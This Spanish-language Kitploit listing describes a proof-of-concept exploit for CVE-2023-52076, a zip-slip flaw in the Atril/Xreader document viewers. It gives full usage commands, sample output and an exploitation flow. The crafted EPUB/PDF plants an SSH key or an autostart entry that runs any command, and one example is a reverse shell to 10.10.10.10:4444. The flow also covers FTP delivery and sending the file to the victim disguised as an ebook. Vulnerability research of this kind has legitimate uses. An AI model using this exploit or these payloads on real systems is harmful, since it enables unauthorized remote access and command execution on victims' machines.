Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-52076-PoC — Exploit PoC para CVE-2023-52076: path traversal tipo zip-slip en Atril/Xreader (MATE/Cinnamon) que permite escritura arbitraria de archivos y RCE mediante un EPUB manipulado. Solo para pruebas de seguridad autorizadas. | Kitploit
Herramientas/GitHubGitHub/groppoxx/cve-2023-52076-poc
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónPruebas de PenetraciónIngeniería SocialExplotación de Binarios
GitHubgroppoxx/cve-2023-52076-poc

CVE-2023-52076-PoC

Exploit PoC para CVE-2023-52076: path traversal tipo zip-slip en Atril/Xreader (MATE/Cinnamon) que permite escritura arbitraria de archivos y RCE mediante un EPUB manipulado. Solo para pruebas de seguridad autorizadas.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Ver Repositorio
34hace 1 mesAún no revisado
Compartir

CVE-2023-52076-PoC

Prueba de concepto para CVE-2023-52076, una vulnerabilidad crítica de path traversal y escritura arbitraria de archivos en los visores de documentos Atril/Xreader que afecta a los entornos de escritorio MATE.

El script genera un payload EPUB manipulado con rutas zip-slip dirigidas a la configuración SSH o a entradas de escritorio autostart, permitiendo la ejecución remota de comandos en los sistemas objetivo.

Qué hace

  1. Admite dos modos de explotación: inyección de clave SSH o RCE por autostart.
  2. Genera un par de claves RSA (solo en modo SSH).
  3. Construye un EPUB válido con rutas zip-slip incrustadas dirigidas a la extracción vulnerable.
  4. Escribe el payload en 5-9 variantes de rutas de traversal usando gadgets /proc/self/cwd.
  5. Crea copias .epub y .pdf (ambas activan la vulnerabilidad).
  6. Valida la estructura del payload y verifica todas las entradas.
  7. Opcionalmente, sube el payload mediante FTP anónimo.

Requisitos

root@kitploit:~
Python 3.8+
ssh-keygen in PATH (SSH mode only)

Inicio rápido

Modo SSH (Recomendado)

Genera el payload SSH localmente:

root@kitploit:~
python3 cve_2023_52076.py --mode ssh

Modo Autostart

Genera un payload RCE de autostart con un comando personalizado:

root@kitploit:~
python3 cve_2023_52076.py --mode autostart --command "id > /tmp/pwned.txt"

Ejemplo completo

Modo SSH con subida por FTP

root@kitploit:~
python3 cve_2023_52076.py \
  --mode ssh \
  --name slippy-ssh \
  --key ./keys/atril_rsa \
  --output-dir ./payloads \
  --upload \
  --host ftp.target.local \
  --ftp-dir pub

Salida de ejemplo:

root@kitploit:~
[2026-07-27T14:23:45Z] [*] Generating RSA-3072 keypair: ./keys/atril_rsa
[2026-07-27T14:23:47Z] [*] Building EPUB with 9 zip-slip entries
[2026-07-27T14:23:47Z] [*] Validating payload: ./payloads/slippy-ssh.epub
[2026-07-27T14:23:47Z] [+] Validated 9 payload entries
[2026-07-27T14:23:47Z] [*] Connecting to FTP ftp.target.local:21
[2026-07-27T14:23:48Z] [*] Uploading ./payloads/slippy-ssh.epub as slippy-ssh.epub
[2026-07-27T14:23:48Z] [+] Upload complete. Remote directory listing:
-rw-r--r-- 1 0 0 2048 Jul 27 14:23 slippy-ssh.epub

[+] Payload ready
Mode:        SSH (authorized_keys)
Private key: ./keys/atril_rsa (mode 600)
Public key:  ./keys/atril_rsa.pub
Fingerprint: 3072 SHA256:abcd1234... atril-poc (RSA)
EPUB:        ./payloads/slippy-ssh.epub
PDF copy:    ./payloads/slippy-ssh.pdf

[+] SSH login remains manual:
    ssh -i ./keys/atril_rsa -o IdentitiesOnly=yes <user>@<target>

Modo Autostart con subida por FTP

root@kitploit:~
python3 cve_2023_52076.py \
  --mode autostart \
  --command "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1" \
  --name slippy-rce \
  --output-dir ./payloads \
  --upload \
  --host ftp.target.local \
  --ftp-dir pub

Salida de ejemplo:

root@kitploit:~
[2026-07-27T14:25:10Z] [*] Building EPUB with 5 zip-slip entries
[2026-07-27T14:25:10Z] [*] Validating payload: ./payloads/slippy-rce.epub
[2026-07-27T14:25:10Z] [+] Validated 5 payload entries
[2026-07-27T14:25:10Z] [*] Connecting to FTP ftp.target.local:21
[2026-07-27T14:25:11Z] [*] Uploading ./payloads/slippy-rce.epub as slippy-rce.epub
[2026-07-27T14:25:11Z] [+] Upload complete.

[+] Payload ready
Mode:       Autostart (.desktop RCE)
Command:    bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
EPUB:       ./payloads/slippy-rce.epub
PDF copy:   ./payloads/slippy-rce.pdf

[+] Victim must logout/login for autostart to trigger

Banderas opcionales

root@kitploit:~
--mode {ssh,autostart}
   Payload mode. Default: ssh
   ssh: Inject SSH authorized_keys (no victim interaction needed after file opens).
   autostart: Create .desktop RCE in autostart (triggers on next logout/login).

--command <CMD>
   Payload command for --mode autostart. Required if --mode autostart.
   Example: --command "id > /tmp/pwned.txt"

--name <NAME>
   Local payload basename. Default: base-clean

--key <PATH>
   Private key path (SSH mode only). Default: slippy_rsa

--key-bits <BITS>
   RSA key size (SSH mode only). Options: 2048, 3072, 4096. Default: 3072

--output-dir <DIR>
   Output directory for .epub/.pdf. Default: output

--upload
   Upload the payload to FTP after generating.

--host <HOST>
   FTP target host or IP. Required if --upload is set.

--port <PORT>
   FTP port. Default: 21

--ftp-dir <DIR>
   Remote FTP directory, e.g. pub.

--ftp-user <USER>
   FTP username. Default: anonymous

--ftp-password <PWD>
   FTP password. Default: anonymous@

--remote-name <NAME>
   Remote EPUB filename. Default: ludwig.epub

--upload-pdf
   Upload the .pdf copy instead of the .epub.

--force
   Replace existing output and key files.

--timeout <SECONDS>
   FTP connection timeout. Default: 10.0

--only-final
   Hide progress logs and print only the final summary.

--no-color
   Disable ANSI colors.

--debug
   Print executed subprocess commands (ssh-keygen).

Flujo de explotación

Modo SSH

  1. Generar el payload: El script crea un EPUB con la clave pública en rutas de authorized_keys.
  2. Ingeniería social: Envía el EPUB/PDF al objetivo (disfrazado como libro electrónico).
  3. La víctima abre el archivo: Atril/Xreader extrae el contenido del EPUB.
  4. Path traversal: El código vulnerable escribe la clave pública en ~/.ssh/authorized_keys.
  5. Acceso por SSH: El atacante se conecta usando la clave privada.

Modo Autostart

  1. Generar el payload: El script crea un EPUB con una entrada .desktop en rutas de autostart.
  2. Ingeniería social: Envía el EPUB/PDF al objetivo.
  3. La víctima abre el archivo: Atril/Xreader extrae el contenido del EPUB.
  4. Path traversal: El código vulnerable escribe el .desktop en ~/.config/autostart/.
  5. Activación: En el próximo cierre/inicio de sesión, el archivo .desktop ejecuta automáticamente el comando.

Puntos clave

  • No se requiere nombre de usuario: el gadget /proc/self/cwd se resuelve en el momento de la extracción.
  • Múltiples variantes de ruta: 9 rutas para SSH, 5 para autostart, maximizan el éxito a través de distintas profundidades de directorio.
  • Sin sobrescritura de archivos: solo crea archivos nuevos (respeta la limitación de la CVE).
  • Modo sin conexión: genera payloads sin entrega por FTP (usa --upload solo cuando sea necesario).
  • Comandos flexibles: el modo autostart admite cualquier comando bash.
  • El modo SSH es inmediato: no se requiere interacción de la víctima después de abrir el archivo.
  • Autostart requiere volver a iniciar sesión: la víctima debe cerrar e iniciar sesión para que se active el RCE.

Notas

  • Versiones afectadas: Atril (MATE DE), Xreader (Cinnamon, Linux Mint) < 1.26.2.
  • Probado en: Kali Linux, Parrot OS, Ubuntu-Mate, Xubuntu.
  • Requiere que la víctima abra el documento manipulado en un visor vulnerable.
  • Funciona sin conexión; no hay comunicación de retorno con el atacante durante la explotación.
  • Buena práctica: entregar mediante FTP (--upload) para evitar el alojamiento directo.

Aviso legal

Este PoC está destinado a pruebas de seguridad autorizadas, entornos de laboratorio y verificación de vulnerabilidades. No lo utilices contra sistemas sin permiso explícito.

Descargar herramienta